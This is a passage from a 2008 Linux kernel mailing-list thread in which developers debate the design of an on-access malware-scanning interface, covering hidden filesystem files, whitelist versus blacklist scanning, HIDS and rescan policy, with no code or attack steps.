filesystem since it was last left.

There is a nice void space where viruses can nicely hide out at the
moment.  Issue is more void space is going to be made unless some
system is designed to handle file systems with these non translatable
permissions and options hidden permissions.  Yes currently hack around
issue of posix permissions not providing every option has been adding
a mount option.  More dynamic options for handling the issue of non
translatable permissions should be possible and less user disrupting.

Can you now see the sign of trouble I have been trying and trying to
put into words.   I can see the problem.   Putting it in the right
words has been a battle.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
> 
> UDF undelete and unhide options and ISO showassoc  makes more files
> appear on those formats.  UDF and ISO hidden files are one of the
> nasties.  AV scans the disk calls it clean.  Remount it with the other
> options enabled nice little bit of magic hidden infected files could
> turn up.   Black holed.
> 
> What is the worst bit about this knowing the luck of this world.
> Some people will mount the disks/partitions with the option that
> displays the virus with a OS without a anti-virus because another
> computer said the disk was clean.

You have this problem anyway, given that AV database updates are
coming every few hours; so if you scan the disk at noon, and an AV
update comes at 1pm it may be that there were malware that wasn't
detected by the noon DB, but will be detected by the 1pm DB.

And for non read-only filesystems (i.e., anything other than UDF and
ISO), anytime the filesystem is unmounted, the OS is going to have to
assume that it might have been modified by some other system before it
was remounted, so realistically you have to rescan after remounting
anyway, regardless of whether different mount options were in use.

So I draw a very different set of conclusions than yours given your
obervations of all of the ways that an AV scanner might miss certain
viruses, due to things like alternate streams that might not be
visible at the time, snapshotting filesystems where the AV scanner
might not know how to access past snapshots, and hence miss malware. 

I don't believe that this means we have to cram all possible
filesystem semantics into the core VFS just for the benefit of AV
scanners.  I believe this shows the ultimate fallacy that AV scanners
can be foolproof.  It will catch some stuff, but it will never be
foolproof.  The real right answer to malware are things like not
encouraging users to run with the equivalent of Windows Administrator
privileges all the time (or training them to say, "Yeah, Yeah" every
time the Annoying Vista UAC dialog box comes up and clicking "ok"),
and using mail user agents that don't auto-run contents as soon as you
open a mail message in the name of "the user wants functionality, and
we're going to let them have it" attitude of Microsoft.

      	       	   	     	 	     		- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>
>> UDF undelete and unhide options and ISO showassoc  makes more files
>> appear on those formats.  UDF and ISO hidden files are one of the
>> nasties.  AV scans the disk calls it clean.  Remount it with the other
>> options enabled nice little bit of magic hidden infected files could
>> turn up.   Black holed.
>>
>> What is the worst bit about this knowing the luck of this world.
>> Some people will mount the disks/partitions with the option that
>> displays the virus with a OS without a anti-virus because another
>> computer said the disk was clean.
>
> You have this problem anyway, given that AV database updates are
> coming every few hours; so if you scan the disk at noon, and an AV
> update comes at 1pm it may be that there were malware that wasn't
> detected by the noon DB, but will be detected by the 1pm DB.
>
> And for non read-only filesystems (i.e., anything other than UDF and
> ISO), anytime the filesystem is unmounted, the OS is going to have to
> assume that it might have been modified by some other system before it
> was remounted, so realistically you have to rescan after remounting
> anyway, regardless of whether different mount options were in use.
>
> So I draw a very different set of conclusions than yours given your
> obervations of all of the ways that an AV scanner might miss certain
> viruses, due to things like alternate streams that might not be
> visible at the time, snapshotting filesystems where the AV scanner
> might not know how to access past snapshots, and hence miss malware.
>
> I don't believe that this means we have to cram all possible
> filesystem semantics into the core VFS just for the benefit of AV
> scanners.  I believe this shows the ultimate fallacy that AV scanners
> can be foolproof.  It will catch some stuff, but it will never be
> foolproof.  The real right answer to malware are things like not
> encouraging users to run with the equivalent of Windows Administrator
> privileges all the time (or training them to say, "Yeah, Yeah" every
> time the Annoying Vista UAC dialog box comes up and clicking "ok"),
> and using mail user agents that don't auto-run contents as soon as you
> open a mail message in the name of "the user wants functionality, and
> we're going to let them have it" attitude of Microsoft.
>
I am not saying in that it has to be displayed in the normal VFS.  I
am saying provide way to see everything the driver can to the
scanner/HIDS.   Desktop users could find it useful to see what the
real permissions are on disk surface useful for when they are
transferring disks between systems.  HIDS will find it useful for Max
confirm that nothing has been touched since last scan.   White list
scanning finds it useful because they can be sure nothing was missed.

You mentioned the other reason why you want to be under the vfs.   As
you just said every time you mount a file system you have to presume
that its dirty.  What about remount?   Presume its all dirty just
because user changed a option to the filesystem?  Or do we locate
ourself in a location that remount don't equal starting over from
scratch.   Location in the inodes wrong for max effectiveness.   Even
on snapshoting file systems when you change snapshot displayed not
every file has changed.   The Linux File System Driver interface needs
to change.   Sorting out this section of the file system driver
section also would allow like a ISO or UDF to be multi mounted with
different filter options to the vfs.   Reason driver goes up to a
central point then to the vfs so filters that hide files and
permissions could be turned on and off at bind mounts.  The alteration
to make AV work perfectly opens up way more doors.  Including file
system neutral mount filters so that users and group id's on a file
system can be mapped to local user and group id's.  UUID on the
partition could be used to track remove able disks using it.  500 user
on current system might be acting as 1000 user on a remote/removable
disk since the users id on that system that disk owns to is 1000.

Also you are not thinking real world.   Most common reason to be
scanning read only disks on one machine then using it on another not
fully setup is the restoring stage from backups.   This is where you
all ready know what the virus is.   So that the signatures have been
update for viruses created in the last hour  really normally does not
matter for backups a week old.

It is critical for sorting out infected from non infected disks that
scanning for that is fool proof as possible.  Worst nightmare is to
complete a reinstall after a really destructive virus only to have it
do its destruction again.

Logic that scanning will always be needed again due to signatures
needing updates every few hours is foolish.   Please note signatures
updating massively only apply to black list scanning like
anti-viruses.   If I am running white list scanning on those disks
redoing it is not that required unless disk has changed or defect
found in the white list scanning system.  The cases that a white list
system needs updating is far more limited:  New file formats,   New
software,  New approved parts or defect in scanner itself.
Virus/Malware writer creating a new bit of malware really does not
count if the malware fails the white list.  Far less chasing.  100
percent coverage against unknown viruses is possible if you are
prepared to live with the limitations of white list.   There are quite
a few places where the limitations of white list is not a major
problem.

So don't use the idea of the black list flaw against me.   It does not
have to exist we should go after 100 percent scanning since we can go
after white list scanning that can provide 100 percent coverage with
its other issue of blocking some things it should not.  Viruses and
Malware that users themselfs don't install or approve don't even get a
chance against white list scanning.

UAC for Linux are like the selinux systems.  UAC fails against malware
too many windows users get use to clicking yes way too often.  Defect
on the LSM side we must not copy.

Anti-Virus companies are going to have to lift there game stop just
chasing viruses because soon or latter the black list is going to get
that long that its going to be unable to be processed quickly.
Particularly with Linux's still running on 1.5 ghz or smaller
machines.  Instead swap across to the shorter white list to process
and sort.   Quarantining for black list scanning so performance of
machine is hit with the least ammount.   Some areas like email, p2p
for people using formats that should not contain macros or executable
code white list scanning there is all that is needed before either
blocking or asking user if black list scanning should be preformed or
the file just deleted.   Lets close the door's on these malware
writers without hurt end users any more than we have to.  What is the
point of running a full black list across a file the user will delete
because it was not what they thought it was.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Peter Dolding wrote:

> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>
> I am not saying in that it has to be displayed in the normal VFS.  I
> am saying provide way to see everything the driver can to the
> scanner/HIDS.   Desktop users could find it useful to see what the
> real permissions are on disk surface useful for when they are
> transferring disks between systems.  HIDS will find it useful for Max
> confirm that nothing has been touched since last scan.   White list
> scanning finds it useful because they can be sure nothing was missed.

unless you have a signed file of hashses of the filesystem, and you check 
that all the hashes are the same, you have no way of knowing if the 
filesystem was modified by any other system.

you may be able to detect if OS Y mounted and modified it via notmal 
rules of that OS, but you have no way to know that someone didn't plug the 
drive into an embeded system that spit raw writes out to the drive to just 
modify a single block of data.

> You mentioned the other reason why you want to be under the vfs.   As
> you just said every time you mount a file system you have to presume
> that its dirty.  What about remount?   Presume its all dirty just
> because user changed a option to the filesystem?  Or do we locate
> ourself in a location that remount don't equal starting over from
> scratch.   Location in the inodes wrong for max effectiveness.   Even
> on snapshoting file systems when you change snapshot displayed not
> every file has changed.

this is a policy decision that different people will answer differently. 
put the decision in userspace. if the user/tool thinks that these things 
require a re-scan then they can change the generation number and 
everything will get re-scanned. if not don't change it.

if you want to trust another system to do the scanning for you the 
userspace code needs to work out a way to use the same generation number 
of the different machines.

the underlying mechanism can work in all of these cases. which one you 
choose to use is up to you, and it doesn't matter what you choose, the 
mechanism allows other people to make different choices.

> Logic that scanning will always be needed again due to signatures
> needing updates every few hours is foolish.   Please note signatures
> updating massively only apply to black list scanning like
> anti-viruses.   If I am running white list scanning on those disks
> redoing it is not that required unless disk has changed or defect
> found in the white list scanning system.  The cases that a white list
> system needs updating is far more limited:  New file formats,   New
> software,  New approved parts or defect in scanner itself.
> Virus/Malware writer creating a new bit of malware really does not
> count if the malware fails the white list.  Far less chasing.  100
> percent coverage against unknown viruses is possible if you are
> prepared to live with the limitations of white list.   There are quite
> a few places where the limitations of white list is not a major
> problem.

the mechanism I outlined will work just fine for a whitelist scanner. the 
user can configure it as the first scanner in the stack and to trust it's 
approval completely, and due to the stackable design, you can have thigns 
that fall through the whitelist examined by other software (or blocked, or 
the scanning software can move/delete/change permissions/etc, whatever you 
configure it to do)

> Anti-Virus companies are going to have to lift there game stop just
> chasing viruses because soon or latter the black list is going to get
> that long that its going to be unable to be processed quickly.
> Particularly with Linux's still running on 1.5 ghz or smaller
> machines.

forget the speed of the machines, if you have a tens of TB array can will 
take several days to scan using the full IO bandwith of the system (so 
even longer as a background task), you already can't afford to scan 
everything every update on every system.

however, you may not need to. if a small enough set of files are accessed 
(and you are willing to pay the penalty on the first access of each file) 
you can configure your system to only do on-access scanning. or you can 
choose to do your updates less frequently (which may be appropriate for 
your environment)

> Instead swap across to the shorter white list to process and sort. 
> Quarantining for black list scanning so performance of machine is hit 
> with the least ammount.  Some areas like email, p2p for people using 
> formats that should not contain macros or executable code white list 
> scanning there is all that is needed before either blocking or asking 
> user if black list scanning should be preformed or the file just 
> deleted.  Lets close the door's on these malware writers without hurt 
> end users any more than we have to.  What is the point of running a full 
> black list across a file the user will delete because it was not what 
> they thought it was.

you are arguing with the wrong people here. we are not trying to define 
the future of anti-virus technologies, we are trying to figure out how to 
provide the hooks so that people and companies can go off and do the 
research and experimentation and try different approaches.

the threat model we have been trying to deal with has not included trying 
to scan a drive that will be accessed by another OS to make sure that the 
other OS won't have any problem with it. I'm not sure thats even possible 
(it's like network IDS where you can't just look at the packet fragments, 
you need to duplicate the logic of the destination OS for how those 
fragments are reassembled, when the source isn't available for the target, 
this is reduced to 'best effort')

if you think we should be trying to deal with a different threat model, 
say so and argue threat model vs threat model. you may be right that the 
threat model isn't appropriate and needs to change, but arguing that the 
proposed solutions don't satisfy your threat model without documenting 
what that is doesn't get us anywhere.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[David Collier-Brown]

Peter Dolding wrote:
> Currently if we have a unknown infection on a  windows partition that
> is been shared by linux the scanner on Linux cannot see that the
> windows permissions has been screwed with.   OS with badly damaged
> permissions is a sign of 1 of three things.  ...

It's more likely that the files will reside on Linux/Unix under
Samba, and so the permissions that Samba implements will be the ones
that the virus is trying to mess up.  These are implemented in
terms of the usual permission bits, plus extended attributes/ACLs.
Linux systems mounting Windows filesystems are somewhat unusual (;-))

--dave
-- 
David Collier-Brown            | Always do right. This will gratify
Sun Microsystems, Toronto      | some people and astonish the rest
davecb@sun.com                 |                      -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sun, Aug 17, 2008 at 6:58 PM,  <david@lang.hm> wrote:
> On Sun, 17 Aug 2008, Peter Dolding wrote:
>
>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>>>
>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>
>> I am not saying in that it has to be displayed in the normal VFS.  I
>> am saying provide way to see everything the driver can to the
>> scanner/HIDS.   Desktop users could find it useful to see what the
>> real permissions are on disk surface useful for when they are
>> transferring disks between systems.  HIDS will find it useful for Max
>> confirm that nothing has been touched since last scan.   White list
>> scanning finds it useful because they can be sure nothing was missed.
>
> unless you have a signed file of hashses of the filesystem, and you check
> that all the hashes are the same, you have no way of knowing if the
> filesystem was modified by any other system.

That is called a HIDS.  Network form even has central databases of
hashes of applications that should be on the machine.  Its tampering
detection.
>
> you may be able to detect if OS Y mounted and modified it via notmal rules
> of that OS, but you have no way to know that someone didn't plug the drive
> into an embeded system that spit raw writes out to the drive to just modify
> a single block of data.

Exactly why I am saying the lower level needs work.   Everything the
file system driver can process needs to go to Hids for most effective
detection of tampering.  Ok not 100 percent but the closest to 100
percent you can get.   2 causes of failure are hash collisions that
can happen either way and data hidden outside the drivers reach.   All
execute data leading into the OS will be covered by a TPM chip in time
so that will only leave non accessible data not a threat to current
OS.
>
>> You mentioned the other reason why you want to be under the vfs.   As
>> you just said every time you mount a file system you have to presume
>> that its dirty.  What about remount?   Presume its all dirty just
>> because user changed a option to the filesystem?  Or do we locate
>> ourself in a location that remount don't equal starting over from
>> scratch.   Location in the inodes wrong for max effectiveness.   Even
>> on snapshoting file systems when you change snapshot displayed not
>> every file has changed.
>
> this is a policy decision that different people will answer differently. put
> the decision in userspace. if the user/tool thinks that these things require
> a re-scan then they can change the generation number and everything will get
> re-scanned. if not don't change it.
>
With out a clear path were user space tools can tell that its the same
files they have no option bar to mark the complete lot dirty.

Hands are tied that is the issue while only in the inode and vfs
system.   To untie hands and allow most effective scanning the black
box of the file system driver has to be opened.

>
>> Logic that scanning will always be needed again due to signatures
>> needing updates every few hours is foolish.   Please note signatures
>> updating massively only apply to black list scanning like
>> anti-viruses.   If I am running white list scanning on those disks
>> redoing it is not that required unless disk has changed or defect
>> found in the white list scanning system.  The cases that a white list
>> system needs updating is far more limited:  New file formats,   New
>> software,  New approved parts or defect in scanner itself.
>> Virus/Malware writer creating a new bit of malware really does not
>> count if the malware fails the white list.  Far less chasing.  100
>> percent coverage against unknown viruses is possible if you are
>> prepared to live with the limitations of white list.   There are quite
>> a few places where the limitations of white list is not a major
>> problem.
>
> the mechanism I outlined will work just fine for a whitelist scanner. the
> user can configure it as the first scanner in the stack and to trust it's
> approval completely, and due to the stackable design, you can have thigns
> that fall through the whitelist examined by other software (or blocked, or
> the scanning software can move/delete/change permissions/etc, whatever you
> configure it to do)
>
>> Anti-Virus companies are going to have to lift there game stop just
>> chasing viruses because soon or latter the black list is going to get
>> that long that its going to be unable to be processed quickly.
>> Particularly with Linux's still running on 1.5 ghz or smaller
>> machines.
>
> forget the speed of the machines, if you have a tens of TB array can will
> take several days to scan using the full IO bandwith of the system (so even
> longer as a background task), you already can't afford to scan everything
> every update on every system.
>
> however, you may not need to. if a small enough set of files are accessed
> (and you are willing to pay the penalty on the first access of each file)
> you can configure your system to only do on-access scanning. or you can
> choose to do your updates less frequently (which may be appropriate for your
> environment)
>

You missed it part of that was a answer to Ted saying that we should
give up on a perfect system due to the fact current AV tech fails
there is other tech out there that works.

In answer to the small enough set of files idea.   The simple issue is
that one time cost of black list scanning gets longer and longer and
longer as the black list gets longer and longer and longer.   Sooner
or latter its going to be longer than the amount of time people are
prepared to wait for a file to be approved and longer than the time
taken to white list scan the file by a large margin.  It is already
longer by a large margin to white list scanning.    CPU sizes not
expanding as fast on Linux kind brings the black list o heck problem
sooner.   Lot of anti-virus black lists are embeding white lists
methods so they can operate now inside the time window.   The wall is
coming and its simply not avoidable all they are currently doing is
just stopping themselves from going splat into it.  White list methods
will have to become more dominate one day there is no other path
forward for scanning content.

Most common reason to need to be sure disks are clean on a different
machine is after a mess.   Anti-Virus and protection tech has let you
down.   Backups could be infected before restoring scanning those
backups to sort out what files you can salvage and what backups
predate the infection or breach.   These backups of course are
normally not scanned on the destination machine.   Missing anything
scanning those backups in not acceptable ever.

By the way for people who don't know the differences.  TPM is a HIDS
hardware support it must know the files its protecting exactly.
White list scanning covers a lot more than just HIDS.   White List
scanners that knows file formats themselves sorts the files by unknown
format, damaged ie not to format like containing buffer oversize and
the like, Containing executable parts unknown, Containing only
executable parts known safe and 100 percent safe.  First 3 are blocked
by while list scanners last 2 are approved.   Getting past a white
list scanner is hard.   White list scanning is the major reason we
need all formats to documents used in business so they can be scanned
white list style.   White List format style does not fall pray to
checksum collisions.  Also when you have TB's and PB of data you don't
want to be storing damaged files or viruses.   Most black list
scanners only point out viruses some viruses so are poor compared to
what some forms of white list scanning offer of trust able clean and
undamaged.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Sun, Aug 17, 2008 at 6:58 PM,  <david@lang.hm> wrote:
>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>
>>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>>>>
>>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>>
>>> I am not saying in that it has to be displayed in the normal VFS.  I
>>> am saying provide way to see everything the driver can to the
>>> scanner/HIDS.   Desktop users could find it useful to see what the
>>> real permissions are on disk surface useful for when they are
>>> transferring disks between systems.  HIDS will find it useful for Max
>>> confirm that nothing has been touched since last scan.   White list
>>> scanning finds it useful because they can be sure nothing was missed.
>>
>> unless you have a signed file of hashses of the filesystem, and you check
>> that all the hashes are the same, you have no way of knowing if the
>> filesystem was modified by any other system.
>
> That is called a HIDS.  Network form even has central databases of
> hashes of applications that should be on the machine.  Its tampering
> detection.

is this what you are asking for or not?

>> you may be able to detect if OS Y mounted and modified it via notmal rules
>> of that OS, but you have no way to know that someone didn't plug the drive
>> into an embeded system that spit raw writes out to the drive to just modify
>> a single block of data.
>
> Exactly why I am saying the lower level needs work.   Everything the
> file system driver can process needs to go to Hids for most effective
> detection of tampering.  Ok not 100 percent but the closest to 100
> percent you can get.   2 causes of failure are hash collisions that
> can happen either way and data hidden outside the drivers reach.   All
> execute data leading into the OS will be covered by a TPM chip in time
> so that will only leave non accessible data not a threat to current
> OS.

so are you advocating that every attempt to access the file should 
calculate the checksum of the file and compare it against a (possibly 
network hosted) list?

>>> You mentioned the other reason why you want to be under the vfs.   As
>>> you just said every time you mount a file system you have to presume
>>> that its dirty.  What about remount?   Presume its all dirty just
>>> because user changed a option to the filesystem?  Or do we locate
>>> ourself in a location that remount don't equal starting over from
>>> scratch.   Location in the inodes wrong for max effectiveness.   Even
>>> on snapshoting file systems when you change snapshot displayed not
>>> every file has changed.
>>
>> this is a policy decision that different people will answer differently. put
>> the decision in userspace. if the user/tool thinks that these things require
>> a re-scan then they can change the generation number and everything will get
>> re-scanned. if not don't change it.
>>
> With out a clear path were user space tools can tell that its the same
> files they have no option bar to mark the complete lot dirty.
>
> Hands are tied that is the issue while only in the inode and vfs
> system.   To untie hands and allow most effective scanning the black
> box of the file system driver has to be opened.

you are mixing solutions and problems. I think my proposal can be used to 
address your problem, even if the implementation is different.

>>> Logic that scanning will always be needed again due to signatures
>>> needing updates every few hours is foolish.   Please note signatures
>>> updating massively only apply to black list scanning like
>>> anti-viruses.   If I am running white list scanning on those disks
>>> redoing it is not that required unless disk has changed or defect
>>> found in the white list scanning system.  The cases that a white list
>>> system needs updating is far more limited:  New file formats,   New
>>> software,  New approved parts or defect in scanner itself.
>>> Virus/Malware writer creating a new bit of malware really does not
>>> count if the malware fails the white list.  Far less chasing.  100
>>> percent coverage against unknown viruses is possible if you are
>>> prepared to live with the limitations of white list.   There are quite
>>> a few places where the limitations of white list is not a major
>>> problem.
>>
>> the mechanism I outlined will work just fine for a whitelist scanner. the
>> user can configure it as the first scanner in the stack and to trust it's
>> approval completely, and due to the stackable design, you can have thigns
>> that fall through the whitelist examined by other software (or blocked, or
>> the scanning software can move/delete/change permissions/etc, whatever you
>> configure it to do)
>>
>>> Anti-Virus companies are going to have to lift there game stop just
>>> chasing viruses because soon or latter the black list is going to get
>>> that long that its going to be unable to be processed quickly.
>>> Particularly with Linux's still running on 1.5 ghz or smaller
>>> machines.
>>
>> forget the speed of the machines, if you have a tens of TB array can will
>> take several days to scan using the full IO bandwith of the system (so even
>> longer as a background task), you already can't afford to scan everything
>> every update on every system.
>>
>> however, you may not need to. if a small enough set of files are accessed
>> (and you are willing to pay the penalty on the first access of each file)
>> you can configure your system to only do on-access scanning. or you can
>> choose to do your updates less frequently (which may be appropriate for your
>> environment)
>>
>
> You missed it part of that was a answer to Ted saying that we should
> give up on a perfect system due to the fact current AV tech fails
> there is other tech out there that works.
>
> In answer to the small enough set of files idea.   The simple issue is
> that one time cost of black list scanning gets longer and longer and
> longer as the black list gets longer and longer and longer.   Sooner
> or latter its going to be longer than the amount of time people are
> prepared to wait for a file to be approved and longer than the time
> taken to white list scan the file by a large margin.  It is already
> longer by a large margin to white list scanning.    CPU sizes not
> expanding as fast on Linux kind brings the black list o heck problem
> sooner.   Lot of anti-virus black lists are embeding white lists
> methods so they can operate now inside the time window.   The wall is
> coming and its simply not avoidable all they are currently doing is
> just stopping themselves from going splat into it.  White list methods
> will have to become more dominate one day there is no other path
> forward for scanning content.
>
> Most common reason to need to be sure disks are clean on a different
> machine is after a mess.   Anti-Virus and protection tech has let you
> down.   Backups could be infected before restoring scanning those
> backups to sort out what files you can salvage and what backups
> predate the infection or breach.   These backups of course are
> normally not scanned on the destination machine.   Missing anything
> scanning those backups in not acceptable ever.
>
> By the way for people who don't know the differences.  TPM is a HIDS
> hardware support it must know the files its protecting exactly.
> White list scanning covers a lot more than just HIDS.   White List
> scanners that knows file formats themselves sorts the files by unknown
> format, damaged ie not to format like containing buffer oversize and
> the like, Containing executable parts unknown, Containing only
> executable parts known safe and 100 percent safe.  First 3 are blocked
> by while list scanners last 2 are approved.   Getting past a white
> list scanner is hard.   White list scanning is the major reason we
> need all formats to documents used in business so they can be scanned
> white list style.   White List format style does not fall pray to
> checksum collisions.  Also when you have TB's and PB of data you don't
> want to be storing damaged files or viruses.   Most black list
> scanners only point out viruses some viruses so are poor compared to
> what some forms of white list scanning offer of trust able clean and
> undamaged.

the scanning support mechanism would support a whitelist policy, it will 
also support a blacklist policy.

I will dispute your claim that a strict whitelist policy is even possible 
on a general machine. how can you know if a binary that was compiled is 
safe or not? how can you tell if a program downloaded from who knows where 
is safe or not? the answer is that you can't. you can know that the 
program isn't from a trusted source and take actions to limit what it can 
do (SELinux style), or you can block the access entirely (which will just 
cause people to disable your whitelist when it gets in their way)

there are times when a whitelist is reasonable, there are times when it 
isn't. you can't whitelist the contents of /var/log/apache/access.log, but 
that file needs to be scanned as it is currently being used as an attack 
vector.

the approach I documented (note: I didn't create it, I assembled it from 
pieces of different proposals on the list) uses kernel support to cache 
the results of the scan so that people _don't_ have to wait for all the 
scans to take place when they open a file each time. they don't even need 
to wait for a checksum pass to see if the file was modified or not.

I fail to see why it couldn't be used for your whitelist approach.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 10:32 AM,  <david@lang.hm> wrote:
> On Mon, 18 Aug 2008, Peter Dolding wrote:
>
>> On Sun, Aug 17, 2008 at 6:58 PM,  <david@lang.hm> wrote:
>>>
>>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>>
>>>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>>>>>
>>>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>>>
>>>> I am not saying in that it has to be displayed in the normal VFS.  I
>>>> am saying provide way to see everything the driver can to the
>>>> scanner/HIDS.   Desktop users could find it useful to see what the
>>>> real permissions are on disk surface useful for when they are
>>>> transferring disks between systems.  HIDS will find it useful for Max
>>>> confirm that nothing has been touched since last scan.   White list
>>>> scanning finds it useful because they can be sure nothing was missed.
>>>
>>> unless you have a signed file of hashses of the filesystem, and you check
>>> that all the hashes are the same, you have no way of knowing if the
>>> filesystem was modified by any other system.
>>
>> That is called a HIDS.  Network form even has central databases of
>> hashes of applications that should be on the machine.  Its tampering
>> detection.
>
> is this what you are asking for or not?
>
>>> you may be able to detect if OS Y mounted and modified it via notmal
>>> rules
>>> of that OS, but you have no way to know that someone didn't plug the
>>> drive
>>> into an embeded system that spit raw writes out to the drive to just
>>> modify
>>> a single block of data.
>>
>> Exactly why I am saying the lower level needs work.   Everything the
>> file system driver can process needs to go to Hids for most effective
>> detection of tampering.  Ok not 100 percent but the closest to 100
>> percent you can get.   2 causes of failure are hash collisions that
>> can happen either way and data hidden outside the drivers reach.   All
>> execute data leading into the OS will be covered by a TPM chip in time
>> so that will only leave non accessible data not a threat to current
>> OS.
>
> so are you advocating that every attempt to access the file should calculate
> the checksum of the file and compare it against a (possibly network hosted)
> list?
>
Mixed solution.  HIDS gets you so far.   White List format scanning
gets you more.

Best of all techs.
>>>> You mentioned the other reason why you want to be under the vfs.   As
>>>> you just said every time you mount a file system you have to presume
>>>> that its dirty.  What about remount?   Presume its all dirty just
>>>> because user changed a option to the filesystem?  Or do we locate
>>>> ourself in a location that remount don't equal starting over from
>>>> scratch.   Location in the inodes wrong for max effectiveness.   Even
>>>> on snapshoting file systems when you change snapshot displayed not
>>>> every file has changed.
>>>
>>> this is a policy decision that different people will answer differently.
>>> put
>>> the decision in userspace. if the user/tool thinks that these things
>>> require
>>> a re-scan then they can change the generation number and everything will
>>> get
>>> re-scanned. if not don't change it.
>>>
>> With out a clear path were user space tools can tell that its the same
>> files they have no option bar to mark the complete lot dirty.
>>
>> Hands are tied that is the issue while only in the inode and vfs
>> system.   To untie hands and allow most effective scanning the black
>> box of the file system driver has to be opened.
>
> you are mixing solutions and problems. I think my proposal can be used to
> address your problem, even if the implementation is different.
>
You proposal idea is right.   Implementation location is pain to get
right so everything works.

Issue is some of the changes that need doing may take years to get
sorted out.   So we kinda need to start now working our ways to having
them by the time these other things become main line in kernel causing
us head aches.

Lets try to avoid having to do last min fixs up.  We know the tech
that is coming lets be ready for it.

>>>> Logic that scanning will always be needed again due to signatures
>>>> needing updates every few hours is foolish.   Please note signatures
>>>> updating massively only apply to black list scanning like
>>>> anti-viruses.   If I am running white list scanning on those disks
>>>> redoing it is not that required unless disk has changed or defect
>>>> found in the white list scanning system.  The cases that a white list
>>>> system needs updating is far more limited:  New file formats,   New
>>>> software,  New approved parts or defect in scanner itself.
>>>> Virus/Malware writer creating a new bit of malware really does not
>>>> count if the malware fails the white list.  Far less chasing.  100
>>>> percent coverage against unknown viruses is possible if you are
>>>> prepared to live with the limitations of white list.   There are quite
>>>> a few places where the limitations of white list is not a major
>>>> problem.
>>>
>>> the mechanism I outlined will work just fine for a whitelist scanner. the
>>> user can configure it as the first scanner in the stack and to trust it's
>>> approval completely, and due to the stackable design, you can have thigns
>>> that fall through the whitelist examined by other software (or blocked,
>>> or
>>> the scanning software can move/delete/change permissions/etc, whatever
>>> you
>>> configure it to do)
>>>
>>>> Anti-Virus companies are going to have to lift there game stop just
>>>> chasing viruses because soon or latter the black list is going to get
>>>> that long that its going to be unable to be processed quickly.
>>>> Particularly with Linux's still running on 1.5 ghz or smaller
>>>> machines.
>>>
>>> forget the speed of the machines, if you have a tens of TB array can will
>>> take several days to scan using the full IO bandwith of the system (so
>>> even
>>> longer as a background task), you already can't afford to scan everything
>>> every update on every system.
>>>
>>> however, you may not need to. if a small enough set of files are accessed
>>> (and you are willing to pay the penalty on the first access of each file)
>>> you can configure your system to only do on-access scanning. or you can
>>> choose to do your updates less frequently (which may be appropriate for
>>> your
>>> environment)
>>>
>>
>> You missed it part of that was a answer to Ted saying that we should
>> give up on a perfect system due to the fact current AV tech fails
>> there is other tech out there that works.
>>
>> In answer to the small enough set of files idea.   The simple issue is
>> that one time cost of black list scanning gets longer and longer and
>> longer as the black list gets longer and longer and longer.   Sooner
>> or latter its going to be longer than the amount of time people are
>> prepared to wait for a file to be approved and longer than the time
>> taken to white list scan the file by a large margin.  It is already
>> longer by a large margin to white list scanning.    CPU sizes not
>> expanding as fast on Linux kind brings the black list o heck problem
>> sooner.   Lot of anti-virus black lists are embeding white lists
>> methods so they can operate now inside the time window.   The wall is
>> coming and its simply not avoidable all they are currently doing is
>> just stopping themselves from going splat into it.  White list methods
>> will have to become more dominate one day there is no other path
>> forward for scanning content.
>>
>> Most common reason to need to be sure disks are clean on a different
>> machine is after a mess.   Anti-Virus and protection tech has let you
>> down.   Backups could be infected before restoring scanning those
>> backups to sort out what files you can salvage and what backups
>> predate the infection or breach.   These backups of course are
>> normally not scanned on the destination machine.   Missing anything
>> scanning those backups in not acceptable ever.
>>
>> By the way for people who don't know the differences.  TPM is a HIDS
>> hardware support it must know the files its protecting exactly.
>> White list scanning covers a lot more than just HIDS.   White List
>> scanners that knows file formats themselves sorts the files by unknown
>> format, damaged ie not to format like containing buffer oversize and
>> the like, Containing executable parts unknown, Containing only
>> executable parts known safe and 100 percent safe.  First 3 are blocked
>> by while list scanners last 2 are approved.   Getting past a white
>> list scanner is hard.   White list scanning is the major reason we
>> need all formats to documents used in business so they can be scanned
>> white list style.   White List format style does not fall pray to
>> checksum collisions.  Also when you have TB's and PB of data you don't
>> want to be storing damaged files or viruses.   Most black list
>> scanners only point out viruses some viruses so are poor compared to
>> what some forms of white list scanning offer of trust able clean and
>> undamaged.
>
> the scanning support mechanism would support a whitelist policy, it will
> also support a blacklist policy.
>
> I will dispute your claim that a strict whitelist policy is even possible on
> a general machine. how can you know if a binary that was compiled is safe or
> not? how can you tell if a program downloaded from who knows where is safe
> or not? the answer is that you can't. you can know that the program isn't
